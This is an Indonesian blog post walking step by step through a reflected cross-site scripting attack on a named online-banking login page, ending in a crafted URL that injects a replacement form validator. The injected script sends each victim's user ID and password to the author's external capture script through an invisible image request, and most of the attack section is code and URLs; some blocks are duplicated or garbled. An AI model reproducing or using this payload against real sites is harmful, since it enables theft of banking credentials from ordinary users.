Maaf artikel ini bukan XSS basics, tentang apa itu XSS nanti saya akan bahas di artikel khusus.
Sebenarnya XSS termasuk bug yang gawat dan susah
diantisipasi, namun XSS juga bug yang paling sering diremehkan. Karena
berbeda dengan bug lain seperti SQL Injection yang menyerang server, bug
ini tidak berpengaruh sama sekali terhadap server. XSS hanya menyerang
client, yaitu pengguna web application.
Mungkin mereka berpikir apa sih hal terburuk yang
bisa menimpa server dengan XSS? Memang tidak secara langsung, namun
ingat satu bug bisa di-exploit dengan 1001 macam cara yang semakin lama
semakin efektif. Anda akan terkejut menyadari bahwa bug “seremeh” ini
ternyata bisa diexploit sedemikian rupa.
The Vulnerability
Bug XSS ini akan muncul bila kita memasukkan username
dan password yang salah. Ketika kita salah mengisi password, maka akan
muncul dialog box yang memberitahu bahwa password kita salah.
URL ketika password kita salah adalah:https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)
URL tersebut akan menghasilkan source html sebagai berikut:
<script>
var err=‘User ID harus Alpha Numerik/User ID must be Alpha Numeric’
alert(err);
iBankForm.action=‘login.jsp’;
iBankForm.submit();
script>
Perhatikan bahwa setelah var err ditutup dengan
karakter kutip (’). Jadi kalau kita ingin meng-injeksikan tag html atau
javascript lain, kita harus tutup dulu dengan karakter (’). Mari kita
coba untuk menampilkan dialog box berisi cookie dengan URL berikut:
https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=TEST';alert(document.cookie);URL tersebut menghasilkan source html berikut:
<script>
var err=‘TEST’;function Login_Form_Validator(theForm){alert(‘TEST’);return false;}script><noscript>‘
alert(err);
iBankForm.action=’login.jsp‘;
iBankForm.submit();
var err=‘TEST’;function Login_Form_Validator(theForm){alert(‘TEST’);return false;}script><noscript>‘
alert(err);
iBankForm.action=’login.jsp‘;
iBankForm.submit();
Untuk menguji versi Login_Form_Validator manakah yang
dipakai, klik tombol LOGIN tanpa mengisi username dan password.
Ternyata yang muncul adalah dialog box “TEST”. Itu berarti fungsi yang
berlaku adalah versi saya, HORE! Kalau versi aslinya, muncul peringatan
bahwa user dan password harus diisi. Oke taktik pertama sukses. Mari
kita Lanjut ke taktik ke-2.
Sending username and password
Oke, sekarang ketika user mengklik submit, code kita
akan di-eksekusi. Now what? Selanjutnya tentu saja kita harus membuat
code untuk mengirimkan user dan password pada saat user mengklik tombol
submit. Untuk bisa mengirimkan data, berarti kita harus membuat browser
melakukan request ke server saya. Saya menggunakan image untuk tujuan
itu. Lho kok image? Iya karena ketika browser menemukan tag image, saat
itu juga browser akan melakukan request GET ke server tempat image itu
berada sesuai isi atribut SRC. Namun hal yang lebih penting lagi adalah,
bila kita ubah atribut src dari object image dengan javascript, maka
browser akan mengirimkan request GET sekali lagi. Request ini yang lebih
penting, bukan request GET image pertama ketika halaman diload.
Saya definisikan tag image dengan dimensi 1×1 agar invisible, dengan nama myimage sebagai berikut:
<img src=“http://www.ilmuhacking.com/testcapture.php“ name=“myimage” width=“1″ height=“1″>
Sedangkan variabel yang berisi username dan password adalah:
document.forms[0]['value(user_id)'].value
document.forms[0]['value(pswd)'].value
document.forms[0]['value(pswd)'].value
Agar bisa mengirimkan user dan password, saya harus mengubah atribut src myimage menjadi:
'http://www.ilmuhacking.com/testcapture.php?userid='+document.forms[0]['value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].value
Selanjutnya saya harus membuat fungsi
Login_Form_Validator mengubah atribut src myimage, agar ketika submit
button di-klik maka atribut src myimage akan berubah dan browser akan
melakukan request GET ke isi atribut src. Hal yang tricky adalah jika
return dari fungsi Login_Form_Validator adalah false, browser baru akan
melakukan request image. Bila tidak, browser akan mengabaikan perubahan
atribut src, dan tetap melakukan submit.
Untuk menyiasatinya, saya terpaksa membuat agar
button submit harus di klik 2x. Pada klik yang pertama tidak terjadi
submit sesungguhnya, hal ini saya manfaatkan untuk mengubah atribut src
myimage dan mengirim username/password ke server saya. Pada klik ke-2,
browser baru melakukan submit yang sesungguhnya. Agak aneh memang, tapi
saya yakin kebanyakan user tidak akan menyadari dan akan melanjutkan
dengan meng-klik sekali lagi.
Saya buat satu variabel abc yang bernilai false
pertama kali. Pada klik pertama, nilai abc menjadi true, sehingga pada
klik ke-2 fungsi tidak mengembalikan nilai false. Fungsi
Login_Form_Validator adalah sebagai berikut:
var abc=false;
function Login_Form_Validator(theForm {
if (!abc) {
document.images.myimage.src=‘http://www.ilmuhacking.com/testcapture.php‘+‘?userid=’+document.forms[0]['value(user_id)'].value+‘&passwd=’+document.forms[0]['value(pswd)'].value;
abc = true;
return false;
}
}
function Login_Form_Validator(theForm {
if (!abc) {
document.images.myimage.src=‘http://www.ilmuhacking.com/testcapture.php‘+‘?userid=’+document.forms[0]['value(user_id)'].value+‘&passwd=’+document.forms[0]['value(pswd)'].value;
abc = true;
return false;
}
}
Kini sudah lengkap semua yang dibutuhkan, siap untuk diinjeksikan melalui URL sebagai berikut:
https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';var abc=false;function Login_Form_Validator(theForm){if (!abc) {abc=true;document.images.myimage.src='http://www.ilmuhacking.com/testcapture.php?userid='%2Bdocument.forms[0]['value(user_id)'].value%2B'%26passwd='%2Bdocument.forms[0]['value(pswd)'].value;return
false;}}
http://www.ilmuhacking.com/testcapture.php" width="1" height="1">
0 komentar:
Posting Komentar